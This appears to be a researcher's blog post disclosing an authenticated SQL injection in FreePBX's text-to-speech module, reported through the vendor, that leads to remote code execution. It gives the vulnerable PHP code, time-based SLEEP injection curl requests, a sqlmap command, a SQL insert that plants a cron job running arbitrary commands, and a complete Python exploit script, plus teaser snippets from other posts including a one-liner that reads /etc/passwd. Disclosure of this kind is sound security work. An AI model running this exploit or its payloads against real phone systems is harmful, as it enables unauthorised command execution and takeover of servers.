CVE-2025-67736 FreePBX Authenticated SQL Injection leads to RCE
Overview This will be fairly straight to the point since it’s another FreePBX vulnerability. It’s an authenticated SQLi, so not the end of the world as you’d...
This will be fairly straight to the point since it’s another FreePBX vulnerability. It’s an authenticated SQLi, so not the end of the world as you’d need admin access, but it was a cool way to access a technique watchTowr blogged about to add a cron job to the freepbx database and get RCE.
Same as last time, easy reporting process through their security-reporting page.
After authenticating to the FreePBX Administration GUI, the tts module is reachable using a request to:
http://<freepbx-host-or-ip>/admin/config.php?display=tts&view=form&id=
The base page for the tts plugin when accessed through the administrative control panel is defined in page.tts.php here. The important functionality is defined on line 38 here:
if(isset($_GET['view']) && $_GET['view'] == 'form'){
if (!empty($_GET['id']) || $action !== 'delete') {
$tts = tts_get($_REQUEST['id'] ?? '');
foreach ($tts as $key => $value) {
$data[$key] = $value;
}
}
show_view(__DIR__ . '/views/tts.php', $data);
}else{
show_view(__DIR__ . '/views/grid.php', $data);
}
This loop checks for the HTTP GET request parameter view to be defined, and for it to be set to the value of form. If view=form, next the logic checks to see if the GET parameter id is set, and for $action to not be set to delete. If both of those conditions are met, the id parameter is then passed to the function tts_get(), which is defined in functions.inc.php on line 69 here:
function tts_get($p_id) {
global $db;
$sql = "SELECT id, name, text, goto, engine FROM tts WHERE id=$p_id";
return $db->getRow($sql, DB_FETCHMODE_ASSOC);
}
The id value set via HTTP GET request is passed into this function via the $p_id parameter. The vulnerability is on line 72 where the $p_id parameter is formatted into a defined SQL query with no checking, escaping, parameterizing, or typing. This query is then passed to the getRow() function on the next line where it is executed against the database.
This is fairly easy to demonstrate with a simple curl request as you can see the response time increase as the SLEEP() value is increased:
$ time curl --cookie /tmp/cookie -s -XPOST --header 'Content-Type: application/x-www-form-urlencoded' --data 'username=admin&password=ch[REDACTED]az' http://192.168.1.115/admin/config.php -o /dev/null --next --cookie /tmp/cookie -s 'http://192.168.1.115/admin/config.php?display=tts&view=form&id=1+AND+(SELECT+1234+FROM+(SELECT(SLEEP(2)))test)' -o /dev/null
real 0m3.799s
user 0m0.006s
sys 0m0.005s
$ time curl --cookie /tmp/cookie -s -XPOST --header 'Content-Type: application/x-www-form-urlencoded' --data 'username=admin&password=ch[REDACTED]az' http://192.168.1.115/admin/config.php -o /dev/null --next --cookie /tmp/cookie -s 'http://192.168.1.115/admin/config.php?display=tts&view=form&id=1+AND+(SELECT+1234+FROM+(SELECT(SLEEP(5)))test)' -o /dev/null
real 0m6.840s
user 0m0.003s
sys 0m0.007s
sqlmap also discovers this easily with a command such as:
sqlmap -u 'http://192.168.1.115/admin/config.php?display=tts&view=form&id=1' -H 'Cookie: PHPSESSID=vb2f[REDACTED]2tri;' -p id --level 3 --risk 2 --dbms=mysql --banner --current-user --current-db --flush-session --fresh-queries --proxy http://127.0.0.1:8080
SELECT statements as playing with fire, and take extra care when using them outside of a lab environemnt. ]I confirmed the attack path documented in watchTowr’s blog post also works here. You can leverage sqlmap to do this with the --sql-query functionality with a query such as this:
--sql-query="INSERT INTO cron_jobs (modulename,jobname,command,class,schedule,max_runtime,enabled,execution_order) VALUES ('sysadmin','rcejob','id > /tmp/rceproof',NULL,'* * * * *',30,1,1)"
I would recommend watching the cron_jobs table while you test on the server with something like:
root@debian-server:~# mysql -uroot -e 'use asterisk;select * from cron_jobs;'
And you should see a new row such as the following show up:
root@debian-server:~# mysql -uroot -e 'use asterisk;select * from cron_jobs;'
+----+----------------------+-----------------------------------+-------------------------------------------------------------------------------------------------------------------------------+-----------------------------------------+--------------+-------------+---------+-----------------+
| id | modulename | jobname | command | class | schedule | max_runtime | enabled | execution_order |
+----+----------------------+-----------------------------------+-------------------------------------------------------------------------------------------------------------------------------+-----------------------------------------+--------------+-------------+---------+-----------------+
...Omitted...
| 42 | sysadmin | rcejob | id > /tmp/rcetest | NULL | * * * * * | 30 | 1 | 1 |
+----+----------------------+-----------------------------------+-------------------------------------------------------------------------------------------------------------------------------+-----------------------------------------+--------------+-------------+---------+-----------------+
I also wrote a quick python script that handles authentication and the injection to create a cron job. Example usage:
$ python3 Documents/exploit.py http://192.168.1.115 admin ch[REDACTED]az 'id > /tmp/rcetest'
[+] Login success!
[*] Sending SQLi payload to create cron job to execute 'id > /tmp/rcetest'
[*] SQLi should have worked. Cron schedule is '* * * * *' so it may be a minute to execute
exploit.py source:
import requests
import sys
## Usage
# $ python3 Documents/exploit.py http://192.168.1.115 admin ch[REDACTED]az 'id > /tmp/rcetest'
# [+] Login success!
# [*] Sending SQLi payload to create cron job to execute 'id > /tmp/rcetest'
# [*] SQLi should have worked. Cron schedule is '* * * * *' so it may be a minute to execute
url = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
cmd = sys.argv[4]
url = f"{url}/admin/config.php"
## Insert statement parameters hex encoded to avoid single quotes
modulename = 'sysadmin'.encode().hex()
jobname = 'rcejob'.encode().hex()
command = cmd.encode().hex()
schedule = '* * * * *'
## injection payload to create cron job
sqli_payload = f'1;INSERT INTO cron_jobs (modulename,jobname,command,class,schedule,max_runtime,enabled,execution_order) VALUES (0x{modulename},0x{jobname},0x{command},NULL,0x{schedule.encode().hex()},30,1,1)#'
proxies = dict.fromkeys(['http', 'https'], 'http://127.0.0.1:8080')
with requests.Session() as s:
s.verify = False
## Comment out if you don't want to proxy traffic through burp/etc
s.proxies.update(proxies)
login_payload = {
"username": username,
"password": password
}
login_res = s.post(url, data=login_payload)
if 'Invalid Username or Password' in login_res.text:
print(f"[-] Invalid username or password")
exit()
print(f"[+] Login success!")
print(f"[*] Sending SQLi payload to create cron job to execute '{cmd}'")
params = {
"display": "tts",
"view": "form",
"id": sqli_payload
}
sqli_res = s.get(url, params=params)
if sqli_res.status_code == 500:
print(f"[*] SQLi should have worked. Cron schedule is '{schedule}' so it may be a minute to execute")
Upon running the script, it may take a moment for the cron job to execute.
https://github.com/FreePBX/security-reporting/security/advisories/GHSA-632c-49p9-x7cwOverview This will be fairly straight to the point since it’s another FreePBX vulnerability. It’s an authenticated SQLi, so not the end of the world as you’d...
Overview When I was starting out in penetration testing, it always confused me how folks would say they worked using a simple CLI only linux machine in a VPS...
Overview I recently noticed quite a few folks recently looked at Nagios XI. Some even pulled the obfuscated stuff apart which I thought was really awesome! I...
CVE-2021-42840 This one will be a bit short, since severity/impact/video/etc is all identical to my post on the previous SuiteCRM RCE.
Path traversal in File Upload leads to Remote Code Execution in Chamilo LMS Overview It’s been a bit since I spent some time looking for a web vuln… And this...
tldr/oneliner ruby -e '"".class.ancestors[3].system("cat /etc/passwd")' Why? So I was doing a bit of reading on SSTI, specifically that of Jinja/python which...
Remediation testing I found another vulnerability during remediation testing, and that writeup can be found here.
TL;DR Just go to the Demo Or, just go to the Demo Round 2 for reverse tunneling Accessing Resources Behind Multiple Resources At some point, you may run into...
How to get a Shell on your Router (hopefully) Vulnerability hunting is hard, and it’s even harder if you don’t have access to the source. Hardware devices ma...